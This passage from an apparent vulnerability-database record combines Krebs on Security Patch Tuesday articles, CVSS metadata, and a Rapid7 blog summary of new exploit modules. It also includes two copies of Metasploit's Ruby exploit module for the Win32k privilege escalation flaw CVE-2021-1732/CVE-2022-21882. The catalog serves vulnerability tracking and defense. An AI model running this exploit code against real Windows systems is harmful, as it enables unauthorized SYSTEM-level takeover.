**Microsoft's .NET Framework**, a component required by many third-party applications (most Windows users will have some version of .NET installed).\n\nWindows 10 users should note that while the operating system installs all monthly patch roll-ups in one go, that rollup does not typically include .NET updates, which are installed on their own. So when you've backed up your system and installed this month's patches, you may want to check Windows Update again to see if there are any .NET updates pending.\n\nA key concern for enterprises is another critical bug in the DNS server on Windows Server 2008 through 2019 versions that could be used to remotely install software of the attacker's choice. [CVE-2021-24078](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-24078>) earned [a CVSS Score](<https://nvd.nist.gov/vuln-metrics/cvss>) of 9.8, which is about as dangerous as they come.\n\n**Recorded Future** says this vulnerability can be exploited remotely by getting a vulnerable DNS server to query for a domain it has not seen before (e.g. by sending a phishing email with a link to a new domain or even with images embedded that call out to a new domain). **Kevin Breen** of **Immersive Labs** notes that CVE-2021-24078 could let an attacker steal loads of data by altering the destination for an organization's web traffic -- such as pointing internal appliances or Outlook email access at a malicious server.\n\nWindows Server users also should be aware that Microsoft this month is enforcing the second round of security improvements as part of a two-phase update to address [CVE-2020-1472](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2020-1472>), a severe vulnerability that [first saw active exploitation back in September 2020](<https://krebsonsecurity.com/2020/09/microsoft-attackers-exploiting-zerologon-windows-flaw/>).\n\nThe vulnerability, dubbed "**Zerologon**," is a bug in the core "**Netlogon**" component of Windows Server devices. The flaw lets an unauthenticated attacker gain administrative access to a Windows domain controller and run any application at will. A domain controller is a server that responds to security authentication requests in a Windows environment, and a compromised domain controller can give attackers the keys to the kingdom inside a corporate network.\n\nMicrosoft's [initial patch for CVE-2020-1472](<https://krebsonsecurity.com/2020/08/microsoft-patch-tuesday-august-2020-edition/>) fixed the flaw on Windows Server systems, but did nothing to stop unsupported or third-party devices from talking to domain controllers using the insecure Netlogon communications method. Microsoft said it chose this two-step approach "to ensure vendors of non-compliant implementations can provide customers with updates." With this month's patches, Microsoft will begin rejecting insecure Netlogon attempts from non-Windows devices.\n\nA couple of other, non-Windows security updates are worth mentioning. Adobe today [released updates to fix at least 50 security holes in a range of products](<https://blogs.adobe.com/psirt/?p=1965>), including Photoshop and Reader. The Acrobat/Reader update tackles a critical zero-day flaw that [Adobe says](<https://helpx.adobe.com/security/products/acrobat/apsb21-09.html>) is actively being exploited in the wild against Windows users, so if you have Adobe Acrobat or Reader installed, please make sure these programs are kept up to date.\n\nThere is also a zero-day flaw in **Google's Chrome Web browser** (CVE-2021-21148) that is seeing active attacks. Chrome downloads security updates automatically, but users still need to restart the browser for the updates to fully take effect. If you're a Chrome user and notice a red "update" prompt to the right of the address bar, it's time to save your work and restart the browser.\n\nStandard reminder: While staying up-to-date on Windows patches is a must, it\u2019s important to make sure you\u2019re updating only after you\u2019ve backed up your important data and files. A reliable backup means you\u2019re less likely to pull your hair out when the odd buggy patch causes problems booting the system.\n\nSo do yourself a favor and backup your files before installing any patches. Windows 10 even has [some built-in tools](<https://lifehacker.com/how-to-back-up-your-computer-automatically-with-windows-1762867473>) to help you do that, either on a per-file/folder basis or by making a complete and bootable copy of your hard drive all at once.\n\nKeep in mind that Windows 10 by default will automatically download and install updates on its own schedule. If you wish to ensure Windows has been set to pause updating so you can back up your files and/or system before the operating system decides to reboot and install patches, [see this guide](<https://www.computerworld.com/article/3543189/check-to-make-sure-you-have-windows-updates-paused.html>).\n\nAnd as always, if you experience glitches or problems installing any of these patches this month, please consider leaving a comment about it below; there\u2019s a better-than-even chance other readers have experienced the same and may chime in here with some helpful tips.", "edition": 2, "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 10.0, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 6.0}, "published": "2021-02-09T22:37:19", "type": "krebs", "title": "Microsoft Patch Tuesday, February 2021 Edition", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-1472", "CVE-2021-1732", "CVE-2021-21148", "CVE-2021-24078"], "modified": "2021-02-09T22:37:19", "id": "KREBS:1BEFD58F5124A2E4CA40BD9C1B49B9B7", "href": "https://krebsonsecurity.com/2021/02/microsoft-patch-tuesday-february-2021-edition/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-04-15T12:32:42", "description": "**Microsoft **today released updates to plug at least 110 security holes in its **Windows** operating systems and other products. The patches include four security fixes for **Microsoft Exchange Server** -- the same systems that have been [besieged by attacks on four separate (and zero-day) bugs in the email software](<https://krebsonsecurity.com/?s=microsoft+exchange+attack>) over the past month. Redmond also patched a Windows flaw that is actively being exploited in the wild.\n\n![](https://krebsonsecurity.com/wp-content/uploads/2020/08/windowsec.png)\n\nNineteen of the vulnerabilities fixed this month earned Microsoft's most-dire "Critical" label, meaning they could be used by malware or malcontents to seize remote control over vulnerable Windows systems without any help from users.\n\nMicrosoft released updates to fix four more flaws in Exchange Server versions 2013-2019 ([CVE-2021-28480](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-28480>), [CVE-2021-28481](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-28481>), [CVE-2021-28482](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-28482>), [CVE-2021-28483](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-28483>)). Interestingly, all four were reported by the **U.S. National Security Agency**, although Microsoft says it also found two of the bugs internally. A [Microsoft blog post](<https://msrc-blog.microsoft.com/2021/04/13/april-2021-update-tuesday-packages-now-available/>) published along with today's patches urges Exchange Server users to make patching their systems a top priority.\n\n**Satnam Narang**, staff research engineer at **Tenable**, said these vulnerabilities have been rated 'Exploitation More Likely' using Microsoft\u2019s Exploitability Index.\n\n"Two of the four vulnerabilities (CVE-2021-28480, CVE-2021-28481) are pre-authentication, meaning an attacker does not need to authenticate to the vulnerable Exchange server to exploit the flaw," Narang said. "With the intense interest in Exchange Server since last month, it is crucial that organizations apply these Exchange Server patches immediately."\n\nAlso patched today was a vulnerability in Windows ([CVE-2021-28310](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-28310>)) that's being exploited in active attacks already. The flaw allows an attacker to elevate their privileges on a target system.\n\n"This does mean that they will either need to log on to a system or trick a legitimate user into running the code on their behalf," said **Dustin Childs** of **Trend Micro**. "Considering who is listed as discovering this bug, it is probably being used in malware. Bugs of this nature are typically combined with other bugs, such as browser bug of PDF exploit, to take over a system."\n\nIn a technical writeup on what they've observed since finding and reporting attacks on CVE-2021-28310, researchers at **Kaspersky Lab** [noted](<https://securelist.com/zero-day-vulnerability-in-desktop-window-manager-cve-2021-28310-used-in-the-wild/101898/>) the exploit they saw was likely used together with other browser exploits to escape "sandbox" protections of the browser.\n\n"Unfortunately, we weren\u2019t able to capture a full chain, so we don\u2019t know if the exploit is used with another browser zero-day, or coupled with known, patched vulnerabilities," Kaspersky's researchers wrote.\n\n**Allan Laska**, senior security architect at **Recorded Future**, notes that there are several remote code execution vulnerabilities in **Microsoft Office** products released this month as well. [CVE-2021-28454](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-28454>) and [CVE-2021-28451](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-28451>) involve Excel, while [CVE-2021-28453](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-28453>) is in **Microsoft Word** and CVE-2021-28449 is in Microsoft Office. All four vulnerabilities are labeled by Microsoft as "Important" (not quite as bad as "Critical"). These vulnerabilities impact all versions of their respective products, including **Office 365**.\n\nOther Microsoft products that got security updates this month include **Edge** (Chromium-based), **Azure** and **Azure DevOps Server**, **SharePoint Server**, **Hyper-V**, **Team Foundation Server**, and **Visual Studio**.\n\nSeparately, **Adobe** has [released security updates](<https://helpx.adobe.com/security.html>) for **Photoshop**, **Digital Editions**, **RoboHelp**, and **Bridge**.\n\nIt\u2019s a good idea for Windows users to get in the habit of updating at least once a month, but for regular users (read: not enterprises) it\u2019s usually safe to wait a few days until after the patches are released, so that Microsoft has time to iron out any kinks in the new armor.\n\nBut before you update, _please_ make sure you have backed up your system and/or important files. It\u2019s not uncommon for a Windows update package to hose one\u2019s system or prevent it from booting properly, and some updates have been known to erase or corrupt files.\n\nSo do yourself a favor and backup before installing any patches. Windows 10 even has some [built-in tools](<https://lifehacker.com/how-to-back-up-your-computer-automatically-with-windows-1762867473>) to help you do that, either on a per-file/folder basis or by making a complete and bootable copy of your hard drive all at once.\n\nAnd if you wish to ensure Windows has been set to pause updating so you can back up your files and/or system before the operating system decides to reboot and install patches on its own schedule, [see this guide](<https://www.computerworld.com/article/3543189/check-to-make-sure-you-have-windows-updates-paused.html>).\n\nAs always, if you experience glitches or problems installing any of these patches this month, please consider leaving a comment about it below; there\u2019s a better-than-even chance other readers have experienced the same and may chime in here with some helpful tips.", "edition": 2, "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-04-13T23:12:19", "type": "krebs", "title": "Microsoft Patch Tuesday, April 2021 Edition", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-28310", "CVE-2021-28449", "CVE-2021-28451", "CVE-2021-28453", "CVE-2021-28454", "CVE-2021-28480", "CVE-2021-28481", "CVE-2021-28482", "CVE-2021-28483"], "modified": "2021-04-13T23:12:19", "id": "KREBS:F8A52CE066D12F4E4A9E0128831BF48D", "href": "https://krebsonsecurity.com/2021/04/microsoft-patch-tuesday-april-2021-edition/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "metasploit": [{"lastseen": "2023-06-14T15:40:33", "description": "A vulnerability exists within win32k that can be leveraged by an attacker to escalate privileges to those of NT AUTHORITY\\SYSTEM. The flaw exists in how the WndExtra field of a window can be manipulated into being treated as an offset despite being populated by an attacker-controlled value. This can be leveraged to achieve an out of bounds write operation, eventually leading to privilege escalation. This flaw was originally identified as CVE-2021-1732 and was patched by Microsoft on February 9th, 2021. In early 2022, a technique to bypass the patch was identified and assigned CVE-2022-21882. The root cause is is the same for both vulnerabilities. This exploit combines the patch bypass with the original exploit to function on a wider range of Windows 10 targets.\n", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-02-18T20:23:38", "type": "metasploit", "title": "Win32k ConsoleControl Offset Confusion", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 7.2, "vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2016-7255", "CVE-2021-1732", "CVE-2022-21882"], "modified": "2023-05-25T04:36:46", "id": "MSF:EXPLOIT-WINDOWS-LOCAL-CVE_2022_21882_WIN32K-", "href": "https://www.rapid7.com/db/modules/exploit/windows/local/cve_2022_21882_win32k/", "sourceData": "##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Local\n Rank = AverageRanking\n\n include Msf::Post::File\n include Msf::Post::Windows::Priv\n include Msf::Post::Windows::Process\n include Msf::Post::Windows::ReflectiveDLLInjection\n prepend Msf::Exploit::Remote::AutoCheck\n\n include Msf::Exploit::Deprecated\n moved_from 'exploit/windows/local/cve_2021_1732_win32k'\n\n def initialize(info = {})\n super(\n update_info(\n info,\n {\n 'Name' => 'Win32k ConsoleControl Offset Confusion',\n 'Description' => %q{\n A vulnerability exists within win32k that can be leveraged by an attacker to escalate privileges to those of\n NT AUTHORITY\\SYSTEM. The flaw exists in how the WndExtra field of a window can be manipulated into being\n treated as an offset despite being populated by an attacker-controlled value. This can be leveraged to\n achieve an out of bounds write operation, eventually leading to privilege escalation.\n\n This flaw was originally identified as CVE-2021-1732 and was patched by Microsoft on February 9th, 2021.\n In early 2022, a technique to bypass the patch was identified and assigned CVE-2022-21882. The root cause is\n is the same for both vulnerabilities. This exploit combines the patch bypass with the original exploit to\n function on a wider range of Windows 10 targets.\n },\n 'License' => MSF_LICENSE,\n 'Author' => [\n # CVE-2021-1732\n 'BITTER APT', # exploit as used in the wild\n 'JinQuan', # detailed analysis\n 'MaDongZe', # detailed analysis\n 'TuXiaoYi', # detailed analysis\n 'LiHao', # detailed analysis\n # CVE-2022-21882\n 'L4ys', # github poc\n # both CVEs\n 'KaLendsi', # github pocs\n # Metasploit exploit\n 'Spencer McIntyre' # metasploit module\n ],\n 'Arch' => [ ARCH_X64 ],\n 'Platform' => 'win',\n 'SessionTypes' => [ 'meterpreter' ],\n 'DefaultOptions' => {\n 'EXITFUNC' => 'thread'\n },\n 'Targets' => [\n [ 'Windows 10 v1803-21H2 x64', { 'Arch' => ARCH_X64 } ]\n ],\n 'Payload' => {\n 'DisableNops' => true\n },\n 'References' => [\n # CVE-2021-1732 references\n [ 'CVE', '2021-1732' ],\n [ 'URL', 'https://ti.dbappsecurity.com.cn/blog/index.php/2021/02/10/windows-kernel-zero-day-exploit-is-used-by-bitter-apt-in-targeted-attack/' ],\n [ 'URL', 'https://github.com/KaLendsi/CVE-2021-1732-Exploit' ],\n [ 'URL', 'https://attackerkb.com/assessments/1a332300-7ded-419b-b717-9bf03ca2a14e' ],\n [ 'URL', 'https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-1732' ],\n # the rest are not cve-2021-1732 specific but are on topic regarding the techniques used within the exploit\n [ 'URL', 'https://www.fuzzysecurity.com/tutorials/expDev/22.html' ],\n [ 'URL', 'https://www.geoffchappell.com/studies/windows/win32/user32/structs/wnd/index.htm' ],\n [ 'URL', 'https://byteraptors.github.io/windows/exploitation/2020/06/03/exploitingcve2019-1458.html' ],\n [ 'URL', 'https://www.trendmicro.com/en_us/research/16/l/one-bit-rule-system-analyzing-cve-2016-7255-exploit-wild.html' ],\n # CVE-2022-21882 references\n [ 'CVE', '2022-21882' ],\n [ 'URL', 'https://github.com/L4ys/CVE-2022-21882' ],\n [ 'URL', 'https://github.com/KaLendsi/CVE-2022-21882' ]\n ],\n 'DisclosureDate' => '2021-02-09', # CVE-2021-1732 disclosure date\n 'DefaultTarget' => 0,\n 'Notes' => {\n 'Stability' => [ CRASH_OS_RESTARTS, ],\n 'Reliability' => [ REPEATABLE_SESSION, ],\n 'SideEffects' => []\n }\n }\n )\n )\n end\n\n def check\n if session.platform != 'windows'\n # Non-Windows systems are definitely not affected.\n return Exploit::CheckCode::Safe\n end\n\n version = get_version_info\n vprint_status(\"Windows Build Number = #{version.product_name}\")\n if version.build_number.between?(Msf::WindowsVersion::Win10_1803, Msf::WindowsVersion::Win10_21H2)\n CheckCode::Appears\n elsif version.build_number == Msf::WindowsVersion::Server2022 || version.build_number == Msf::WindowsVersion::Win11_21H2\n CheckCode::Detected(\"May be vulnerable, but exploit not tested on #{version.product_name}\")\n else\n print_error('Vulnerability only present on Windows 10 versions 1803 - 21H2, Windows 11 21H2, Server 2019 and Server 2022')\n return CheckCode::Safe\n end\n end\n\n def exploit\n if is_system?\n fail_with(Failure::None, 'Session is already elevated')\n end\n\n if sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86\n fail_with(Failure::NoTarget, 'Running against WOW64 is not supported')\n elsif sysinfo['Architecture'] == ARCH_X64 && target.arch.first == ARCH_X86\n fail_with(Failure::NoTarget, 'Session host is x64, but the target is specified as x86')\n elsif sysinfo['Architecture'] == ARCH_X86 && target.arch.first == ARCH_X64\n fail_with(Failure::NoTarget, 'Session host is x86, but the target is specified as x64')\n end\n\n encoded_payload = payload.encoded\n execute_dll(\n ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2022-21882', 'CVE-2022-21882.x64.dll'),\n [encoded_payload.length].pack('I<') + encoded_payload\n )\n\n print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')\n end\nend\n", "sourceHref": "https://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/windows/local/cve_2022_21882_win32k.rb", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}], "zdt": [{"lastseen": "2023-06-14T15:28:01", "description": "A vulnerability exists within win32k that can be leveraged by an attacker to escalate privileges to those of NT AUTHORITY\\SYSTEM. The flaw exists in how the WndExtra field of a window can be manipulated into being treated as an offset despite being populated by an attacker-controlled value. This can be leveraged to achieve an out of bounds write operation, eventually leading to privilege escalation. This flaw was originally identified as CVE-2021-1732 and was patched by Microsoft on February 9th, 2021. In early 2022, a technique to bypass the patch was identified and assigned CVE-2022-21882. The root cause is is the same for both vulnerabilities. This exploit combines the patch bypass with the original exploit to function on a wider range of Windows 10 targets.", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 7.8, "vectorString": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-02-28T00:00:00", "type": "zdt", "title": "Win32k ConsoleControl Offset Confusion / Privilege Escalation Exploit", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 7.2, "vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2016-7255", "CVE-2021-1732", "CVE-2022-21882"], "modified": "2022-02-28T00:00:00", "id": "1337DAY-ID-37433", "href": "https://0day.today/exploit/description/37433", "sourceData": "##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Local\n Rank = AverageRanking\n\n include Msf::Post::File\n include Msf::Post::Windows::Priv\n include Msf::Post::Windows::Process\n include Msf::Post::Windows::ReflectiveDLLInjection\n prepend Msf::Exploit::Remote::AutoCheck\n\n include Msf::Exploit::Deprecated\n moved_from 'exploit/windows/local/cve_2021_1732_win32k'\n\n def initialize(info = {})\n super(\n update_info(\n info,\n {\n 'Name' => 'Win32k ConsoleControl Offset Confusion',\n 'Description' => %q{\n A vulnerability exists within win32k that can be leveraged by an attacker to escalate privileges to those of\n NT AUTHORITY\\SYSTEM. The flaw exists in how the WndExtra field of a window can be manipulated into being\n treated as an offset despite being populated by an attacker-controlled value. This can be leveraged to\n achieve an out of bounds write operation, eventually leading to privilege escalation.\n\n This flaw was originally identified as CVE-2021-1732 and was patched by Microsoft on February 9th, 2021.\n In early 2022, a technique to bypass the patch was identified and assigned CVE-2022-21882. The root cause is\n is the same for both vulnerabilities. This exploit combines the patch bypass with the original exploit to\n function on a wider range of Windows 10 targets.\n },\n 'License' => MSF_LICENSE,\n 'Author' => [\n # CVE-2021-1732\n 'BITTER APT', # exploit as used in the wild\n 'JinQuan', # detailed analysis\n 'MaDongZe', # detailed analysis\n 'TuXiaoYi', # detailed analysis\n 'LiHao', # detailed analysis\n # CVE-2022-21882\n 'L4ys', # github poc\n # both CVEs\n 'KaLendsi', # github pocs\n # Metasploit exploit\n 'Spencer McIntyre' # metasploit module\n ],\n 'Arch' => [ ARCH_X64 ],\n 'Platform' => 'win',\n 'SessionTypes' => [ 'meterpreter' ],\n 'DefaultOptions' => {\n 'EXITFUNC' => 'thread'\n },\n 'Targets' => [\n [ 'Windows 10 v1803-21H2 x64', { 'Arch' => ARCH_X64 } ]\n ],\n 'Payload' => {\n 'DisableNops' => true\n },\n 'References' => [\n # CVE-2021-1732 references\n [ 'CVE', '2021-1732' ],\n [ 'URL', 'https://ti.dbappsecurity.com.cn/blog/index.php/2021/02/10/windows-kernel-zero-day-exploit-is-used-by-bitter-apt-in-targeted-attack/' ],\n [ 'URL', 'https://github.com/KaLendsi/CVE-2021-1732-Exploit' ],\n [ 'URL', 'https://attackerkb.com/assessments/1a332300-7ded-419b-b717-9bf03ca2a14e' ],\n [ 'URL', 'https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-1732' ],\n # the rest are not cve-2021-1732 specific but are on topic regarding the techniques used within the exploit\n [ 'URL', 'https://www.fuzzysecurity.com/tutorials/expDev/22.html' ],\n [ 'URL', 'https://www.geoffchappell.com/studies/windows/win32/user32/structs/wnd/index.htm' ],\n [ 'URL', 'https://byteraptors.github.io/windows/exploitation/2020/06/03/exploitingcve2019-1458.html' ],\n [ 'URL', 'https://www.trendmicro.com/en_us/research/16/l/one-bit-rule-system-analyzing-cve-2016-7255-exploit-wild.html' ],\n # CVE-2022-21882 references\n [ 'CVE', '2022-21882' ],\n [ 'URL', 'https://github.com/L4ys/CVE-2022-21882' ],\n [ 'URL', 'https://github.com/KaLendsi/CVE-2022-21882' ]\n ],\n 'DisclosureDate' => '2021-02-09', # CVE-2021-1732 disclosure date\n 'DefaultTarget' => 0,\n 'Notes' => {\n 'Stability' => [ CRASH_OS_RESTARTS, ],\n 'Reliability' => [ REPEATABLE_SESSION, ],\n 'SideEffects' => []\n }\n }\n )\n )\n end\n\n def check\n sysinfo_value = sysinfo['OS']\n\n if sysinfo_value !~ /windows/i\n # Non-Windows systems are definitely not affected.\n return Exploit::CheckCode::Safe\n end\n\n build_num = sysinfo_value.match(/\\w+\\d+\\w+(\\d+)/)[0].to_i\n vprint_status(\"Windows Build Number = #{build_num}\")\n\n unless sysinfo_value =~ /10/ && (build_num >= 17134 && build_num <= 19044)\n print_error('The exploit only supports Windows 10 versions 1803 - 21H2')\n return CheckCode::Safe\n end\n\n CheckCode::Appears\n end\n\n def exploit\n if is_system?\n fail_with(Failure::None, 'Session is already elevated')\n end\n\n if sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86\n fail_with(Failure::NoTarget, 'Running against WOW64 is not supported')\n elsif sysinfo['Architecture'] == ARCH_X64 && target.arch.first == ARCH_X86\n fail_with(Failure::NoTarget, 'Session host is x64, but the target is specified as x86')\n elsif sysinfo['Architecture'] == ARCH_X86 && target.arch.first == ARCH_X64\n fail_with(Failure::NoTarget, 'Session host is x86, but the target is specified as x64')\n end\n\n encoded_payload = payload.encoded\n execute_dll(\n ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2022-21882', 'CVE-2022-21882.x64.dll'),\n [encoded_payload.length].pack('I<') + encoded_payload\n )\n\n print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')\n end\nend\n", "sourceHref": "https://0day.today/exploit/37433", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}], "rapid7blog": [{"lastseen": "2021-03-26T18:52:42", "description": "## ProxyLogon\n\n![Metasploit Wrap-Up](https://blog.rapid7.com/content/images/2021/03/metasploit-blg-2-small-1.png)\n\nMore Microsoft news this week!\n\nFirstly, a big thank you to community contributors [GreyOrder](<https://github.com/GreyOrder>), [Orange Tsai](<https://github.com/orangetw>), and [mekhalleh](<https://github.com/mekhalleh>) (RAMELLA S\u00e9bastien), who added three new [modules](<https://github.com/rapid7/metasploit-framework/pull/14860>) that allow an attacker to bypass authentication and impersonate an administrative user ([CVE-2021-26855](<https://attackerkb.com/topics/eIPBftle3R/cve-2021-26855?referrer=blog>)) on vulnerable versions of Microsoft Exchange Server. By chaining this bug with another post-auth arbitrary-file-write vulnerability, code execution can be achieved on a vulnerable target ([CVE-2021-27065](<https://attackerkb.com/topics/lLMDUaeKSn/cve-2021-27065?referrer=blog>)), allwoing an unauthenticated attacker to execute arbitrary commands.\n\nThis vulnerability affects (Exchange 2013 Versions < 15.00.1497.012, Exchange 2016 CU18 < 15.01.2106.013, Exchange 2016 CU19 < 15.01.2176.009, Exchange 2019 CU7 < 15.02.0721.013, Exchange 2019 CU8 < 15.02.0792.010)\n\n## Advantech iView\n\nGreat work by our very own [wvu-r7](<https://github.com/wvu-r7>) and [zeroSteiner](<https://github.com/zeroSteiner>), who added a new exploit [module](<https://github.com/rapid7/metasploit-framework/pull/14920>) for [CVE-2021-22652](<https://attackerkb.com/topics/A4sKN6BuXQ/cve-2021-22652?referrer=blog>).\n\nThis module exploits an unauthenticated configuration change vulnerability combined with an unauthenticated file write primitive, leading to an arbitrary file write that allows for remote code execution as the user running iView, which is typically NT AUTHORITY\\SYSTEM.\n\nThe exploit functions by first modifying the `EXPORTPATH` to be a writable path in the webroot. An export function is then leveraged to write JSP content into the previously configured path, which can then be requested to trigger the execution of an OS command within the context of the application. Once completed, the original configuration value is restored.\n\n## FortiLogger\n\nNice work by community contributor [erberkan](<https://github.com/erberkan>), who added an exploit [module](<https://github.com/rapid7/metasploit-framework/pull/14830>) for [CVE-2021-3378](<https://attackerkb.com/topics/eTyHVvBtiM/cve-2021-3378?referrer=blog>).\n\nThis module exploits an arbitrary file upload via an unauthenticated POST request to the "/Config/SaveUploadedHotspotLogoFile" upload path for hotspot settings of FortiLogger 4.4.2.2.\n\nFortiLogger is a web-based logging and reporting software designed specifically for FortiGate firewalls, running on Windows operating systems. It contains features such as instant status tracking, logging, search / filtering, reporting and hotspot.\n\n## New Modules (7)\n\n * [Microsoft Exchange ProxyLogon](<https://github.com/rapid7/metasploit-framework/pull/14860>) by GreyOrder, Orange Tsai, and mekhalleh (RAMELLA S\u00e9bastien), which adds 3 modules that leverage two Microsoft Exchange Server vulnerabilities patched in March out-of-band security updates:\n\n * A scanner module that checks if the target is vulnerable to a Server-Side Request Forgery (SSRF) identified as [CVE-2021-26855](<https://attackerkb.com/topics/eIPBftle3R/cve-2021-26855?referrer=blog>).\n * An auxiliary module that dumps the mailboxes for a given email address, including emails, attachments and contact information. This module leverages the same SSRF vulnerability identified as [CVE-2021-26855](<https://attackerkb.com/topics/eIPBftle3R/cve-2021-26855?referrer=blog>).\n * An exploit module that exploits an unauthenticated Remote Code Execution on Microsoft Exchange Server. This allows execution of arbitrary commands as the SYSTEM user, leveraging the same SSRF vulnerability identified as [CVE-2021-26855](<https://attackerkb.com/topics/eIPBftle3R/cve-2021-26855?referrer=blog>) and also a post-auth arbitrary-file-write vulnerability identified as [CVE-2021-27065](<https://attackerkb.com/topics/lLMDUaeKSn/cve-2021-27065?referrer=blog>).\n * [VMware View Planner Unauthenticated Log File Upload RCE](<https://github.com/rapid7/metasploit-framework/pull/14875>) by wvu, Grant Willcox, and Mikhail Klyuchnikov, exploiting [CVE-2021-21978](<https://attackerkb.com/topics/84gfOVMN35/cve-2021-21978?referrer=blog>), an arbitrary file upload vulnerability within VMWare View Planner Harness prior to 4.6 Security Patch 1.\n\n * [Advantech iView Unauthenticated Remote Code Execution](<https://github.com/rapid7/metasploit-framework/pull/14920>) by wvu and Spencer McIntyre, which exploits [CVE-2021-22652](<https://attackerkb.com/topics/A4sKN6BuXQ/cve-2021-22652?referrer=blog>), allowing an unauthenticated user to make configuration changes on a remote Advantech iView server. The vulnerability can be leveraged to obtain remote code execution within the context of the server application (which runs as SYSTEM by default).\n\n * [FortiLogger Arbitrary File Upload Exploit](<https://github.com/rapid7/metasploit-framework/pull/14830>) by 